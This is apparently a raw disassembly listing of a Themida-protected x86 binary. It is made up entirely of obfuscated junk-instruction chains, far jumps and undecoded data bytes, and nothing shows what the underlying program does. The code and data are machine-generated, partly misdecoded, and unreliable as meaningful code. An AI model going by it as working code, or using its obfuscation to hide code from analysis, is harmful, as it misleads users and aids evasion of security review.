		mov	eax, 657135E8h
		jmp	loc_54CDE1
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0E843E900h, 0C581FFFEh, 0A251E844h, 685DEE01h
		dd 58E3h, 0FF243489h, 5E042474h, 0FF8F7EE9h, 24148BFFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		push	3CA7h
		mov	[esp], edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54270C
; ---------------------------------------------------------------------------
		dw 82B8h
		dd 40369543h, 504E8C1h,	2129B021h, 0FFB08BE9h, 81F229FFh
		dd 4ECh, 24048900h, 4747B5B8h, 0E233E949h, 5166FFFEh, 0B5CBB252h
		dd 0C4B450E1h, 2858E500h, 0E95266D5h, 0FFFF3F4Fh, 13439D68h
		dd 0C8E95B7Ah, 5AFFFF5Eh, 5304C483h, 307280BBh,	42CB8129h
		dd 0E949606Ah, 0FFFF39EDh
; ---------------------------------------------------------------------------


loc_5552A4:				; CODE XREF: Themida_:00553B2Aj
		xor	edx, 7D80D858h
		sub	ebx, edx
		pop	edx
		push	eax
		jmp	loc_542F56
; ---------------------------------------------------------------------------
		db 59h
		dd 0FEE075E9h, 20C380FFh, 0B4505866h, 0E65CE964h, 41E9FFFFh
		dd 53FFFED4h, 3EE9FAB3h, 64FFFEEBh, 2B60F66h, 83E08950h
		dd 3C8904ECh, 535F5424h, 0FF7EE5E9h, 84EB81FFh,	896161EBh
		dd 0C1B7E9DFh, 0E0C0FFFFh, 0DD5CE902h, 0E589FFFFh, 4C581h
		dd 0E9570000h, 0FFFED6E8h
; ---------------------------------------------------------------------------


loc_55530C:				; CODE XREF: Themida_:005553E1j
		sub	ecx, edx
		mov	edx, [esp]
		push	4B92h
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	eax
		push	esp
		jmp	loc_547F05
; ---------------------------------------------------------------------------


loc_55533E:				; CODE XREF: Themida_:00542940j
		mov	ecx, 17B31B4Bh
		not	ecx
		shl	ecx, 3
		xor	ecx, 21C4004Bh
		or	ecx, 5FB873E1h
		push	esi
		jmp	loc_54AC2C
; ---------------------------------------------------------------------------
		dw 0D2F6h
		dd 0FFB9BAE9h, 7BBE56FFh, 0BF1DEF79h, 1DEF797Dh, 0FED559E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555371:				; CODE XREF: Themida_:00543FA5j
		pop	ecx
		jmp	loc_5574B2
; ---------------------------------------------------------------------------
		db 89h
		dd 8B542434h, 0C4812434h, 4, 4C681h, 0B7E90000h, 29FFFF8Ch
		dd 49415AD1h, 0FFC488E9h, 4C483FFh, 0FED36BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5553A1:				; CODE XREF: Themida_:00547D14j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xchg	edx, [esp]
		jmp	loc_545E86
; ---------------------------------------------------------------------------
		dw 0C700h
		dd 0D40FE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5553BE:				; CODE XREF: Themida_:00545133j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	2013h
		mov	[esp], ecx
		mov	ecx, 5461052Ah
		add	ecx, 27974F5Ah
		push	edx
		mov	edx, 7BF81484h
		jmp	loc_55530C
; ---------------------------------------------------------------------------
		dw 685Bh
		dd 179Eh, 0B8240489h, 502D17A3h, 8358C301h, 348904ECh
		dd 47ED6824h, 15E027Ch,	24348BF3h, 0FF0629E9h, 0C3015DFFh
		dd 27D5EB81h, 0E5E939A7h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55541B:				; CODE XREF: Themida_:00545E87j
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	edi
		mov	edi, 20C96E2Ch
		push	esi
		push	edx
		jmp	loc_549F4E
; ---------------------------------------------------------------------------


loc_555437:				; CODE XREF: Themida_:00551545j
		push	6C1Dh
		mov	[esp], ecx
		jmp	loc_54A913
; ---------------------------------------------------------------------------
		dd 9C240CD3h, 0FED2BFE9h, 243668FFh, 1C890000h,	81E38924h
		dd 4C3h, 4BE5600h, 0E9000000h, 0FFFF3AD5h, 0BA241489h
		dd 51545D7Eh, 148BD001h, 4C48324h, 0FEEC75E9h, 0F7885AFFh
		dd 0B1515A66h, 0A5C980D4h, 0FF601DE9h, 2434FFFFh, 0FF123CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555495:				; CODE XREF: Themida_:0054DC33j
		mov	eax, 209A3D27h
		jmp	loc_543391
; ---------------------------------------------------------------------------


loc_55549F:				; CODE XREF: Themida_:0054AEB5j
		add	esp, 4
		xor	ebp, edi
		jmp	loc_54E632
; ---------------------------------------------------------------------------
		db 28h,	0F8h, 2Ch
		dd 0C9B5517Fh, 0E8285404h, 0FF6ED2E9h, 7AE952FFh, 68FFFF72h
		dd 202Bh, 0E9242C89h, 0FFFFBFF4h, 719C68h, 242C8900h, 79AAE954h
		dd 0E3C1FFFFh, 0E5E38107h, 4B40F117h, 8C7CEB81h, 0DD298C47h
		dd 5DEE895Bh, 685EF289h, 496653BFh, 8BD5295Dh, 89572414h
		dd 4C781E7h, 81000000h,	4C7h, 243C3300h, 33243C31h, 248B243Ch
		dd 7630524h, 0E80152F0h, 0F007632Dh, 242C8B52h,	5304C483h
		dd 4BBh, 7A45E900h, 0F301FFFFh,	4EB835Eh, 11DAE953h, 5168FFFFh
		dd 8900001Fh, 74FF241Ch, 8F5B0424h, 248B2404h, 0E930FF24h
		dd 0FFFED1B0h
; ---------------------------------------------------------------------------


loc_55555C:				; CODE XREF: Themida_:005469D2j
		pop	ebp
		neg	edx
		dec	edx
		xor	edx, 8D9ACEF0h
		jmp	loc_545EE2
; ---------------------------------------------------------------------------


loc_55556B:				; CODE XREF: Themida_:00548505j
		push	edi
		jmp	loc_552A81
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 6Fh
		dd 81477849h, 2A9AD3C6h, 5EF73175h, 0FFA9C4E9h,	3B6855FFh
		dd 0E900004Ch, 0FFFF13A7h, 81241C8Bh, 4C4h, 5EE95000h
		dd 2DFFFED6h, 0C43BC193h, 2958C589h, 0F3295DEEh, 0FF633AE9h
		dd 1687B9FFh, 0C83107FCh, 58C32959h, 1647C381h,	0D3E97713h
		dd 57FFFFC4h, 6D115DBFh, 0BF78134h, 11FA95Eh, 0FE295FFEh
		dd 4F56EE81h, 0C6812BC4h, 59AF16DFh, 0FF78CDE9h, 8B665CFFh
		dd 74682404h, 89000024h, 54552434h, 4C5815Dh, 57000000h
		dd 4BFh, 5FFD2900h, 8B242C87h, 24892424h, 261B6824h, 4890000h
		dd 4D1CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55561E:				; CODE XREF: Themida_:00556A5Aj
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		mov	ah, 9Fh
		push	cx
		jmp	loc_543614
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 592434FFh, 0E904C483h, 0FFFEF258h, 0FFBB535Ah, 1FFFFFFh
		dd 0C2815BDAh, 0C24CCA08h, 148BD689h, 4C48324h,	4244481h
		dd 5B4D1E3Dh, 0FF805EE9h, 240C33FFh, 33240C31h,	248B240Ch
		dd 66F1F624h, 53CCB60Fh, 0B951E389h, 528B0FC1h,	0C8E18149h
		dd 31251403h, 31CA31D1h, 1EBBE9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555692:				; CODE XREF: Themida_:00549D80j
		xor	esi, 49E42AA0h
		mov	ecx, esi
		pop	esi
		xor	ebp, ecx
		pop	ecx
		xor	ebp, 1CEA0F8Bh
		jmp	loc_54C732
; ---------------------------------------------------------------------------
		db 68h,	0A0h, 1Ah
		dd 1C890000h, 4EC8124h,	89000000h, 0F0BD242Ch, 0E9350578h
		dd 0FFFF23E5h, 0E9240489h, 0FFFF4241h, 8105E9C1h, 6E17DDC9h
		dd 81D1F749h, 0B6617BC9h, 94E98158h, 29F03FDAh,	6BE959CDh
		dd 81FFFF16h, 1D285EEFh, 20EAE972h, 0D3880000h,	5A2434FFh
		dd 4C481h, 0E3C00000h, 8FB55107h, 20E2ED80h, 0EB8059EBh
		dd 2E3C001h, 52B5EB80h,	0C38084B6h, 80F32829h, 148B29EBh
		dd 0E2895224h, 93B951h,	0E981061Fh, 61F008Fh, 8359CA01h
		dd 148704C2h, 0DFE95C24h
		db 33h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555743:				; CODE XREF: Themida_:00556F96j
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	al, bh
		pop	bx
		push	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 98h
		mov	ch, ah
		pop	eax
		add	al, 0A1h
		push	ecx
		mov	cl, 6Ah
		add	al, cl
		pop	ecx
		sub	al, 1Fh
		sub	al, 91h
		sub	al, 1Ch
		sub	al, 63h
		add	al, ch
		add	al, 63h
		add	al, 1Ch
		add	al, 91h
		add	al, 1Fh
		push	ebx
		mov	bh, 38h
		push	eax
		jmp	loc_553984
; ---------------------------------------------------------------------------


loc_555786:				; CODE XREF: Themida_:005568FCj
		pop	ebp
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		mov	esp, [esp]
		imul	cx
		push	eax
		push	esp
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		push	3C4Eh
		mov	[esp], eax
		push	ebx
		mov	ebx, 4
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, eax
		mov	edx, edi
		pop	edi
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 48664C3Ch
		shr	ebx, 8
		shr	ebx, 8
		add	ebx, 0E9EDEF5h
		add	eax, ebx
		pop	ebx
		sub	eax, 8C43B3h
		jmp	loc_54D4D4
; ---------------------------------------------------------------------------


loc_5557E3:				; CODE XREF: Themida_:005437BCj
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_54AF00
; ---------------------------------------------------------------------------


loc_5557F6:				; CODE XREF: Themida_:005546ACj
		add	esp, 4
		pop	ebx
		add	ecx, edi
		push	6599h
		mov	[esp], edx
		jmp	loc_5461A0
; ---------------------------------------------------------------------------
		dd 0E956C731h, 0FFFFA285h, 5C5EA81h, 0ED81C7E0h, 185F7EA8h
		dd 0FF6DA0E9h, 81E958FFh, 8BFFFECFh, 0C481243Ch, 4, 0F3BA5250h
		dd 0E977902Eh, 0FFFFDD54h, 7B0968h, 24248900h, 4240481h
		dd 58000000h, 4EC81h, 2C890000h, 55565224h, 6255468h, 0D6E95D13h
		dd 0ADFFFF1Dh, 0AA368h,	24148900h, 52D56853h, 0E95B7B41h
		dd 0FFFF0006h
; ---------------------------------------------------------------------------


loc_55587C:				; CODE XREF: Themida_:005503B9j
		add	eax, edi
		jmp	loc_5525AC
; ---------------------------------------------------------------------------


loc_555883:				; CODE XREF: Themida_:0055345Aj
		add	ecx, eax
		pop	eax
		mov	edx, ecx
		jmp	loc_545376
; ---------------------------------------------------------------------------


loc_55588D:				; CODE XREF: Themida_:00542DAFj
		push	ebp
		mov	ebp, 14173B28h
		or	ebp, 0CDE7C04h
		neg	ebp
		add	ebp, 4F498FD7h
		add	edi, ebp
		pop	ebp
		jmp	loc_555F6C
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 0E9E38953h, 0FFFF6C95h
; ---------------------------------------------------------------------------


loc_5558B4:				; CODE XREF: Themida_:0054E7ECj
		mov	[esp], ecx
		mov	ecx, 0B04D8C34h
		sub	edx, ecx
		pop	ecx
		push	edx
		push	ebp
		mov	ebp, 4FC91D87h
		xor	[esp+4], ebp
		jmp	loc_55238B
; ---------------------------------------------------------------------------


loc_5558CF:				; CODE XREF: Themida_:00548BF1j
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		add	eax, 4
		jmp	loc_549B20
; ---------------------------------------------------------------------------


loc_5558DF:				; CODE XREF: Themida_:00554D15j
		mov	[esp], esi
		jmp	loc_5528BE
; ---------------------------------------------------------------------------


loc_5558E7:				; CODE XREF: Themida_:0054316Aj
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_54270C
; ---------------------------------------------------------------------------


loc_5558FF:				; CODE XREF: Themida_:00544A6Cj
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_54F8F5
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0F9E92424h, 89FFFECDh, 4C181E1h, 83000000h, 0C8704E9h
		dd 4895C24h, 8BB1E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55592A:				; CODE XREF: Themida_:00544C42j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	ebx, esi
		mov	esi, [esp]
		push	ebx
		jmp	loc_54A293
; ---------------------------------------------------------------------------
		dd 0F680CEFEh, 5AF520B5h, 8834F580h, 882E9EEh, 0EB810000h
		dd 307804h, 241C335Dh, 33241C31h, 248B241Ch, 2434FF24h
		dd 0FF992AE9h, 97BE56FFh, 916CC79h, 24348BF1h, 0F704C483h
		dd 4E6B68D9h, 2C890000h, 4423BD24h, 0E5C10093h,	992E908h
		dd 8F540000h, 0B9512404h, 4, 4244C01h, 175EE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5559A6:				; CODE XREF: Themida_:00545903j
		push	esi
		push	small 7617h
		jmp	loc_553A3E
; ---------------------------------------------------------------------------
		dd 0FAF5815Bh, 8715CD5Ah, 0F58746F5h, 1836ED81h, 0DD687901h
		dd 8900007Bh, 0E9552404h, 0FFFEE31Ah
; ---------------------------------------------------------------------------


loc_5559D0:				; CODE XREF: Themida_:00548249j
		push	eax
		mov	ah, 95h
		mov	ch, ah
		jmp	loc_54393C
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 24042966h, 0CD22E99Ch, 0EAC1FFFEh, 1C1AE907h
		dd 2C31FFFFh, 0B5C7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5559FA:				; CODE XREF: Themida_:0054619Bj
		add	ebp, esi
		push	esi
		mov	esi, 699636BEh
		shr	esi, 4
		or	esi, 11C42098h
		jmp	loc_542CE8
; ---------------------------------------------------------------------------
		dd 240C8B66h, 4EC81h, 34890000h, 0E9E68924h, 0FFFEE160h
		dd 6824048Bh, 24C8h, 0FED9F2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555A31:				; CODE XREF: Themida_:00553751j
		xchg	edi, [esp]
		jmp	loc_552F32
; ---------------------------------------------------------------------------
		db 5Ah,	8Fh, 4
		dd 24248B24h, 34FFD031h, 0F3E95A24h
		db 54h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555A4B:				; CODE XREF: Themida_:00543821j
		add	ebp, 4
		jmp	loc_54F7DA
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0D8E2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555A5E:				; CODE XREF: Themida_:0054B1A9j
		add	esp, 4
		sub	al, cl
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_54CD9E
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 0E9E58924h, 0FFFFF23Ch, 2A93C181h, 0E9815C33h, 3D5F150Dh
		dd 0FECCF6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555A8D:				; CODE XREF: Themida_:0055172Dj
		mov	ecx, 7DA31D31h
		shl	ecx, 1
		xchg	edi, ecx
		neg	edi
		xchg	edi, ecx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_553F42
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0FFFED518h, 5C24048Fh, 54243C89h, 0FF144EE9h
		dd 5AEF81FFh, 5E705B2Fh, 0B361A05h, 0E9F82941h,	0FFFFD2DAh
		dd 6F04F028h, 2434FF5Ah, 8124148Bh, 4C4h, 4C48100h, 51000000h
		dd 0EB0078B5h, 68C30059h, 56F0h, 68240C89h, 3BF2h, 0E9241C89h
		dd 0FFFF5CE6h, 31243433h, 34332434h, 24248B24h,	2404FF66h
		dd 0CBF2E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_555B1A:				; CODE XREF: Themida_:0054D4A7j
		add	esp, 4
		push	edx
		push	esp
		pop	edx
		push	eax
		mov	eax, 4
		add	edx, eax
		jmp	loc_54FDF4
; ---------------------------------------------------------------------------
		dd 58AEA81h, 835F6AE2h,	0FF5204EAh, 8B042474h, 0C4832414h
		dd 24048F04h, 2434895Ch, 6FB868h, 242C8900h, 46DAB951h
		dd 0AAE925F4h, 51FFFED3h, 0FF0EDBE9h, 0F3015AFFh, 4B45EB81h
		dd 685E2983h, 2748h, 0E9241C89h, 0FFFFF4A3h, 0E9241489h
		dd 0FFFF25EBh
; ---------------------------------------------------------------------------


loc_555B84:				; CODE XREF: Themida_:0054A949j
		push	edx
		mov	edx, 2316055Ah
		add	edx, 1
		add	edx, 2597740Fh
		sub	esi, edx
		pop	edx
		pop	ecx
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_54A078
; ---------------------------------------------------------------------------
		dd offset dword_450050+2BA02h
		db 92h
		dd 78C5E950h, 0CB01FFFFh, 81C30159h, 75444BEBh,	0D8895810h
		dd 5B2434FFh, 0E904C483h, 0FFFECB3Ch
; ---------------------------------------------------------------------------


loc_555BD0:				; CODE XREF: Themida_:00554BCBj
		not	ebp
		jmp	loc_54E99C
; ---------------------------------------------------------------------------
		db 68h
		dd 4, 81242C8Bh, 4C4h, 5DE80100h, 2474FF50h, 48F5804h
		dd 0EC815C24h, 4, 0E9242C89h, 0FFFED17Dh, 5C24048Fh, 0E9240489h
		dd 0FFFF3565h, 5E8EEF81h, 0B8507AE6h, 30795209h, 0C85EE705h
		dd 94E2D1Eh, 0CAE97203h, 89FFFFA4h, 0DCB9240Ch,	5507B44Ah
		dd 5C1256BDh, 51DDF767h, 2034BF57h, 0EC814FE0h,	4, 0E9243C89h
		dd 0FFFFC7DFh, 245FED81h, 0F7550193h, 515D241Ch, 805883B9h
		dd 0C1814930h, 15C542A4h, 0C105E1C1h, 0E9C103E9h, 6761E905h
		dd 0C281FFFFh, 6EC806CEh, 0B850FA01h, 674C641Ah, 0D0F7D0F7h
		dd 5D4D2D40h, 14E9F884h, 8100001Dh, 0E88008C1h,	59CB893Eh
		dd 25B8C381h, 8CE929F1h, 88FFFFDEh, 5EF6E9DCh, 1C89FFFFh
		dd 0F2B2E924h, 34FFFFFFh, 0C4835924h, 0D3C5E904h, 0C381FFFFh
		dd 4, 4EC8150h,	89000000h, 0E9502434h, 0FFFFCDA1h
; ---------------------------------------------------------------------------


loc_555CD4:				; CODE XREF: Themida_:00542E40j
		push	6DA8h
		mov	[esp], esi
		xor	dword ptr [esp], 3E411931h
		pop	eax
		xor	eax, 3E411931h
		push	dword ptr [esp]
		jmp	loc_54E391
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0BB000000h, 94D13B7Dh, 34FFD329h, 0C4815A24h, 4, 30E4CB81h
		dd 0BF5735E2h, 0FFFFFFFFh, 565FFB29h, 0CC1C20BEh, 0C18DE978h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555D22:				; CODE XREF: Themida_:00542713j
		sub	al, 0D7h
		push	small 3EDAh
		jmp	loc_5521F7
; ---------------------------------------------------------------------------
		db 0BAh, 5Bh, 45h
		dd 0D789099Eh, 8324148Bh, 0EC8104C4h, 4, 0FF17B1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555D45:				; CODE XREF: Themida_:005507D1j
		add	ebx, 4B8B49F7h
		jmp	loc_55017C
; ---------------------------------------------------------------------------


loc_555D50:				; CODE XREF: Themida_:005525ADj
		xchg	eax, [esp]
		pop	esp
		jmp	loc_545469
; ---------------------------------------------------------------------------


loc_555D59:				; CODE XREF: Themida_:00543F1Cj
		pop	ebp
		mov	esi, eax
		pop	eax
		sub	ebx, esi
		jmp	loc_5434FD
; ---------------------------------------------------------------------------
		dd 3505E8C1h, 2A505983h, 5D10BF57h, 0E7D12395h,	0FF5B39E9h
		dd 4B850FFh, 81000000h,	8C71C8C6h, 53C6015Eh, 8C71C8BBh
		dd 0B6FFE95Eh, 0E089FFFFh, 405h, 40500h, 4870000h, 24248B24h
		dd 0FF6DF6E9h, 243487FFh, 24348746h, 8124348Bh,	4C4h, 2EEC100h
		dd 5FFBBF57h, 0FE011E37h, 80F6815Fh, 312822FAh,	0EEE95EF0h
		db 40h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555DD3:				; CODE XREF: Themida_:005562CDj
		sub	ebp, edi
		jmp	loc_546D5C
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 8C16E924h, 815FFFFFh, 81799DE3h, 0FCEB817Bh,	1630070h
		dd 0F241E9DFh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_555DF6:				; CODE XREF: Themida_:00549468j
		add	esp, 4
		not	esi
		and	esi, 6AE172A2h
		sub	esi, 2083E408h
		shr	esi, 3
		xor	esi, 6C714876h
		jmp	loc_556A64
; ---------------------------------------------------------------------------


loc_555E15:				; CODE XREF: Themida_:005510D1j
		push	esp
		pop	edx
		push	eax
		mov	eax, 4
		add	edx, eax
		jmp	loc_5478B9
; ---------------------------------------------------------------------------
		dd 0B2241489h, 4EC811Eh, 89000000h, 79B7241Ch, 3080B551h
		dd 2434FFEFh, 0E7895759h, 4C781h, 0C7830000h, 243C8704h
		dd 5BFA285Ch, 0DE4BE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555E56:				; CODE XREF: Themida_:00548779j
		or	eax, eax
		jmp	loc_54F759
; ---------------------------------------------------------------------------


loc_555E5D:				; CODE XREF: Themida_:0054A1EDj
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		xor	dword ptr [esp], 203F1107h
		jmp	loc_55276E
; ---------------------------------------------------------------------------


loc_555E72:				; CODE XREF: Themida_:0054E760j
		pop	edx
		push	eax
		mov	eax, 4
		add	edx, 206251DEh
		add	edx, eax
		push	ebx
		mov	ebx, 38422331h
		sub	ebx, 5208405Ah
		inc	ebx
		jmp	loc_54375F
; ---------------------------------------------------------------------------
		db 29h
		dd 10E268F7h, 14890000h, 2FC1BA24h, 0D7292BB8h,	0CCEF815Ah
		dd 0E9444D54h, 0FFFF15EEh, 0BD3184BBh, 0E9D9215Bh, 0FFFFA508h
; ---------------------------------------------------------------------------


loc_555EBC:				; CODE XREF: Themida_:0054ACADj
		push	dx
		jmp	loc_554DA7
; ---------------------------------------------------------------------------
		db 83h
		dd 535104C4h, 0E94EB551h, 0FFFF7F24h, 0FF2434FFh, 51582434h
		dd 0C181E189h, 4, 0FF08C5E9h, 0CDC781FFh, 8B3FAC6Bh, 0C481240Ch
		dd 4, 92BD5553h, 0E957E520h, 0C02h, 665ACE2Ch, 66077568h
		dd 68241489h, 52E2h, 0B7241C89h, 0F6D786E8h, 0F013E9D2h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_555F1E:				; CODE XREF: Themida_:0055737Dj
		push	dword ptr [esp]
		pop	edx
		jmp	loc_548776
; ---------------------------------------------------------------------------


loc_555F27:				; CODE XREF: Themida_:0054F6BCj
		xchg	edx, [esp]
		mov	esp, [esp]
		or	edx, eax
		jmp	loc_549634
; ---------------------------------------------------------------------------
		dd 9DE68h, 24048900h, 0EC83E089h, 24148904h, 8F736CBAh
		dd 0F902E95Dh, 0E468FFFEh, 8900001Ah, 0E789243Ch, 266C68h
		dd 24048900h, 468h, 0E9525800h,	0FFFF0E92h
; ---------------------------------------------------------------------------


loc_555F6C:				; CODE XREF: Themida_:005558A4j
		or	edi, 3667249Ch
		shr	edi, 3
		and	edi, 21E64910h
		xor	edi, 2BB83DC3h
		sub	ecx, edi
		mov	edi, [esp]
		jmp	loc_543779
; ---------------------------------------------------------------------------


loc_555F8B:				; CODE XREF: Themida_:00542836j
		mov	[esp], esi
		jmp	loc_557A05
; ---------------------------------------------------------------------------
		db 4
		dd 0E9F028CEh, 0FFFFFF64h, 0E9242C87h, 0FFFF6594h, 0C281E289h
		dd 4, 3304C283h, 20E92414h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555FB7:				; CODE XREF: Themida_:0054E568j
		pop	ebp
		push	esi
		jmp	loc_54ECF6
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 2BBD1306h, 0FFEF6AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555FC9:				; CODE XREF: Themida_:0054D129j
		pop	ebp
		sub	[esp+4], edi
		pop	edi
		pop	ebx
		push	ebp
		mov	ebp, 7FAB5E0Ah
		and	ebp, 2743431Ah
		xor	ebp, 6275385Fh
		or	ebp, 96845F4h
		push	eax
		mov	eax, 0ECC880h
		jmp	loc_545AA1
; ---------------------------------------------------------------------------


loc_555FF3:				; CODE XREF: Themida_:00545CBEj
		mov	[esp], eax
		push	15C826B4h
		pop	eax
		xor	ebp, eax
		pop	eax
		add	ebp, 0CA3B885Dh
		mov	edx, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		push	74C6h
		mov	[esp], esi
		jmp	loc_54D92F
; ---------------------------------------------------------------------------


loc_55603D:				; CODE XREF: Themida_:005563F3j
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_5432B8
; ---------------------------------------------------------------------------
		db 29h
		dd 52C581DDh, 5B393650h, 81241C8Bh, 4C4h, 0E7F3E900h, 0C148FFFEh
		dd 43508E0h, 1E757FFh, 8BBDE9C1h, 0E089FFFFh, 405h, 42D00h
		dd 4870000h, 0CB34E924h, 0E940FFFEh, 0FFFF5FA1h
; ---------------------------------------------------------------------------


loc_556098:				; CODE XREF: Themida_:00553423j
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		jmp	loc_5468A9
; ---------------------------------------------------------------------------
		db 0E9h, 62h, 0C6h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5560AA:				; CODE XREF: Themida_:0054B540j
		xor	[esp], edx
		jmp	loc_553A46
; ---------------------------------------------------------------------------


loc_5560B2:				; CODE XREF: Themida_:00547BB1j
		sub	ebx, 2D55B63h
		mov	eax, [esp]
		add	esp, 4
		pop	ebp
		jmp	loc_54270C
; ---------------------------------------------------------------------------
		dd 48EE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5560CA:				; CODE XREF: Themida_:00545FD2j
		pop	ax
		neg	di
		add	di, 296Bh
		add	cx, di
		pop	edi
		add	cx, bp
		jmp	loc_545547
; ---------------------------------------------------------------------------
		dd 0C831C131h, 3191D1F7h, 31C831C1h, 555756C1h,	0B34B7ABDh
		dd 9CE94D75h, 0BDFFFF4Eh, 1F9F7EA0h, 0FEFDCAE9h, 33270DFFh
		dd 5A3560A4h, 2900D220h, 0D2F758C2h, 6B19E281h,	0EA811C7Dh
		dd 0FA11B4DEh, 0FFD6C2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556125:				; CODE XREF: Themida_:0054FD6Bj
		add	edx, ecx
		sub	edx, 43EE71D2h
		jmp	loc_54C2D4
; ---------------------------------------------------------------------------


loc_556132:				; CODE XREF: Themida_:0054D370j
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_553F3A
; ---------------------------------------------------------------------------
		dd 24048B66h, 0FF34BEE9h, 2434FFFFh, 4EC8358h, 89242C89h
		dd 0F1BB53E5h, 0E961EB73h, 0FFFFD6C6h
; ---------------------------------------------------------------------------


loc_55615C:				; CODE XREF: Themida_:00550520j
		add	esp, 4
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		push	5995317Bh
		jmp	loc_54AEBA
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 7C7F77CEh, 0FF0B9DE9h, 4BAFFh, 97E90000h
		dd 66FFFF37h, 665DEA29h, 1CE9E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5561A6:				; CODE XREF: Themida_:0054E16Ej
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5509F3
; ---------------------------------------------------------------------------
		dd 0FEC54BE9h, 0EE015AFFh, 5D2434FFh, 0FF0D8CE9h, 0E95253FFh
		dd 0FFFEFACDh, 80DEF659h, 0F78840F6h, 8124148Bh, 4C4h
		dd 2FF78000h, 0E9E6CF80h, 0C48h, 815EF729h, 9C5FEEFh, 5FF9010Eh
		dd 8702C183h, 248B240Ch, 0AB0F6624h, 0E99C2404h, 0FFFEC4FCh
